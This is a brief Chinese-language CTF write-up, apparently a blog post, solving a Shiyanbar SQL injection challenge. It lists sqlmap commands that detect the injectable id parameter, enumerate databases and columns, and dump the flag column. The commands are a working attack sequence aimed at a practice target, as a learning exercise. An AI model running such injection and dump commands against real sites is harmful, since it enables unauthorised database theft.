实验吧 ctf 简单的sql注入3

   
   
   
解题链接: http://ctf5.shiyanbar.com/web/index_3.php

id=1为注入点 http://ctf5.shiyanbar.com/web/index_3.php?id=1然后就用sqlmap来跑一下 结果能出答案 我也是抱着尝试的态度 哈哈

首先检测注入点 sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_3.php?id=1”实验吧 ctf 简单的sql注入3_第1张图片

然后再获取数据库sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs 下面出现了几个数据库

   
   
   
然后出现了两个数据库 接着报数据库里面的表信息sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs -D web1 -T flag --columns 实验吧 ctf 简单的sql注入3_第2张图片接着就是表名内的内容了sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs -D web1 -T flag -C flag --dump 实验吧 ctf 简单的sql注入3_第3张图片好了 这就是小白用sqlmap神器的解题思路
   
   
   

你可能感兴趣的:(ctf)